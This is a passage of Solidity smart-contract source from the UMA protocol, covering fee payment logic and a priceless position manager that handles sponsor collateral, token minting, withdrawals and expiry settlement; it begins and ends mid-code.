update. This implies that the compounding rate depends on the // frequency of update transactions that have this modifier, and it never reaches the ideal of continuous // compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the // complexity of compounding data on-chain. payRegularFees(); _; } /** * @notice Constructs the FeePayer contract. Called by child contracts. * @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) { collateralCurrency = IERC20(_collateralAddress); finder = FinderInterface(_finderAddress); lastPaymentTime = getCurrentTime(); cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1); } /**************************************** * FEE PAYMENT FUNCTIONS * ****************************************/ /** * @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract. * @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee * in a week or more then a late penalty is applied which is sent to the caller. If the amount of * fees owed are greater than the pfc, then this will pay as much as possible from the available collateral. * An event is only fired if the fees charged are greater than 0. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). * This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. */ function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) { uint256 time = getCurrentTime(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract. ( FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty, FixedPoint.Unsigned memory totalPaid ) = getOutstandingRegularFees(time); lastPaymentTime = time; // If there are no fees to pay then exit early. if (totalPaid.isEqual(0)) { return totalPaid; } emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue); _adjustCumulativeFeeMultiplier(totalPaid, collateralPool); if (regularFee.isGreaterThan(0)) { StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue); store.payOracleFeesErc20(address(collateralCurrency), regularFee); } if (latePenalty.isGreaterThan(0)) { collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue); } return totalPaid; } /** * @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more * than the total collateral within the contract then the totalPaid returned is full contract collateral amount. * @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. * @return regularFee outstanding unpaid regular fee. * @return latePenalty outstanding unpaid late fee for being late in previous fee payments. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). */ function getOutstandingRegularFees(uint256 time) public view returns ( FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty, FixedPoint.Unsigned memory totalPaid ) { StoreInterface store = _getStore(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Exit early if there is no collateral or if fees were already paid during this block. if (collateralPool.isEqual(0) || lastPaymentTime == time) { return (regularFee, latePenalty, totalPaid); } (regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool); totalPaid = regularFee.add(latePenalty); if (totalPaid.isEqual(0)) { return (regularFee, latePenalty, totalPaid); } // If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay // as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the // regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining. if (totalPaid.isGreaterThan(collateralPool)) { FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool); FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit); latePenalty = latePenalty.sub(latePenaltyReduction); deficit = deficit.sub(latePenaltyReduction); regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit)); totalPaid = collateralPool; } } /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) { return _pfc(); } /** * @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors. * @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively * pays all sponsors a pro-rata portion of the excess collateral. * @dev This will revert if PfC is 0 and this contract's collateral balance > 0. */ function gulp() external nonReentrant() { _gulp(); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee // charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not // the contract, pulls in `amount` of collateral currency. function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal { if (amount.isEqual(0)) { return; } if (payer != address(this)) { // If the payer is not the contract pull the collateral from the payer. collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue); } else { // If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate. FixedPoint.Unsigned memory collateralPool = _pfc(); // The final fee must be < available collateral or the fee will be larger than 100%. // Note: revert reason removed to save bytecode. require(collateralPool.isGreaterThan(amount)); _adjustCumulativeFeeMultiplier(amount, collateralPool); } emit FinalFeesPaid(amount.rawValue); StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue); store.payOracleFeesErc20(address(collateralCurrency), amount); } function _gulp() internal { FixedPoint.Unsigned memory currentPfc = _pfc(); FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this))); if (currentPfc.isLessThan(currentBalance)) { cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc)); } } function _pfc() internal view virtual returns (FixedPoint.Unsigned memory); function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) { StoreInterface store = _getStore(); return store.computeFinalFee(address(collateralCurrency)); } // Returns the user's collateral minus any fees that have been subtracted since it was originally // deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw // value should be larger than the returned value. function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory collateral) { return rawCollateral.mul(cumulativeFeeMultiplier); } // Returns the user's collateral minus any pending fees that have yet to be subtracted. function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory) { (, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) = getOutstandingRegularFees(getCurrentTime()); if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral; // Calculate the total outstanding regular fee as a fraction of the total contract PFC. FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc()); // Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee. return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee)); } // Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees // have been taken from this contract in the past, then the raw value will be larger than the user-readable value. function _convertToRawCollateral(FixedPoint.Unsigned memory collateral) internal view returns (FixedPoint.Unsigned memory rawCollateral) { return collateral.div(cumulativeFeeMultiplier); } // Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an // actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is // decreased by so that the caller can minimize error between collateral removed and rawCollateral debited. function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove) internal returns (FixedPoint.Unsigned memory removedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove); rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue; removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral)); } // Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an // actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is // increased by so that the caller can minimize error between collateral added and rawCollateral credited. // NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it // because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral. function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd) internal returns (FixedPoint.Unsigned memory addedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd); rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue; addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance); } // Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral. function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc) internal { FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc); cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that all financial contracts expose to the admin. */ interface AdministrateeInterface { /** * @notice Initiates the shutdown process, in case of an emergency. */ function emergencyShutdown() external; /** * @notice A core contract method called independently or as a part of other financial contract transactions. * @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract. */ function remargin() external; /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() external view returns (FixedPoint.Unsigned memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/interfaces/OptimisticOracleInterface.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/implementation/Constants.sol"; import "../common/FeePayer.sol"; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; /** * @title Financial contract with priceless position management. * @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying * on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token. */ contract PricelessPositionManager is FeePayer { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; using Address for address; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement. enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived } ContractState public contractState; // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; // Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`. uint256 transferPositionRequestPassTimestamp; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs. uint256 public expirationTimestamp; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // The expiry price pulled from the DVM. FixedPoint.Unsigned public expiryPrice; // Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend // the functionality of the EMP to support a wider range of financial products. FinancialProductLibrary public financialProductLibrary; /**************************************** * EVENTS * ****************************************/ event RequestTransferPosition(address indexed oldSponsor); event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor); event RequestTransferPositionCanceled(address indexed oldSponsor); event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event ContractExpired(address indexed caller); event SettleExpiredPosition( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp); /**************************************** * MODIFIERS * ****************************************/ modifier onlyPreExpiration() { _onlyPreExpiration(); _; } modifier onlyPostExpiration() { _onlyPostExpiration(); _; } modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } // Check that the current state of the pricelessPositionManager is Open. // This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration. modifier onlyOpenState() { _onlyOpenState(); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PricelessPositionManager * @dev Deployer of this contract should consider carefully which parties have ability to mint and burn * the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts * can mint new tokens, which could be used to steal all of this contract's locked collateral. * We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles) * is assigned to this contract, whose sole Minter role is assigned to this contract, and whose * total supply is 0 prior to construction of this contract. * @param _expirationTimestamp unix timestamp of when the contract will expire. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _tokenAddress ERC20 token used as synthetic token. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _minSponsorTokens minimum number of tokens that must exist at any time in a position. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. * @param _financialProductLibraryAddress Contract providing contract state transformations. */ constructor( uint256 _expirationTimestamp, uint256 _withdrawalLiveness, address _collateralAddress, address _tokenAddress, address _finderAddress, bytes32 _priceIdentifier, FixedPoint.Unsigned memory _minSponsorTokens, address _timerAddress, address _financialProductLibraryAddress ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_expirationTimestamp > getCurrentTime()); require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier)); expirationTimestamp = _expirationTimestamp; withdrawalLiveness = _withdrawalLiveness; tokenCurrency = ExpandedIERC20(_tokenAddress); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; // Initialize the financialProductLibrary at the provided address. financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress); } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Requests to transfer ownership of the caller's current position to a new sponsor address. * Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor. * @dev The liveness length is the same as the withdrawal liveness. */ function requestTransferPosition() public onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp == 0); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp); // Update the position object for the user. positionData.transferPositionRequestPassTimestamp = requestPassTime; emit RequestTransferPosition(msg.sender); } /** * @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting * `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`. * @dev Transferring positions can only occur if the recipient does not already have a position. * @param newSponsorAddress is the address to which the position will be transferred. */ function transferPositionPassedRequest(address newSponsorAddress) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { require( _getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual( FixedPoint.fromUnscaledUint(0) ) ); PositionData storage positionData = _getPositionData(msg.sender); require( positionData.transferPositionRequestPassTimestamp != 0 && positionData.transferPositionRequestPassTimestamp <= getCurrentTime() ); // Reset transfer request. positionData.transferPositionRequestPassTimestamp = 0; positions[newSponsorAddress] = positionData; delete positions[msg.sender]; emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress); emit NewSponsor(newSponsorAddress); emit EndedSponsorPosition(msg.sender); } /** * @notice Cancels a pending transfer position request. */ function cancelTransferPosition() external onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp != 0); emit RequestTransferPositionCanceled(msg.sender); // Reset withdrawal request. positionData.transferPositionRequestPassTimestamp = 0; } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(msg.sender); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)) ); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = requestPassTime; positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external onlyPreExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime() ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.withdrawalRequestPassTimestamp != 0); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @dev This contract must have the Minter role for the `tokenCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); require(tokenCurrency.mint(msg.sender, numTokens.rawValue)); } /** * @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`. * This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens. * @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt from the sponsor's debt position. */ function repay(FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue); // Transfer the tokens back from the sponsor and burn them. tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(!numTokens.isGreaterThan(positionData.tokensOutstanding)); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral)); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the * prevailing price defined by the DVM from the `expire` function. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @dev This contract must have the Burner role for the `tokenCurrency`. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleExpired() external onlyPostExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called. require(contractState != ContractState.Open, "Unexpired position"); // Get the current settlement price and store it. If it is not resolved will revert. if (contractState != ContractState.ExpiredPriceReceived) { expiryPrice = _getOraclePriceExpiration(expirationTimestamp); contractState = ContractState.ExpiredPriceReceived; } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying. FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice); FixedPoint.Unsigned memory positionCollateral = 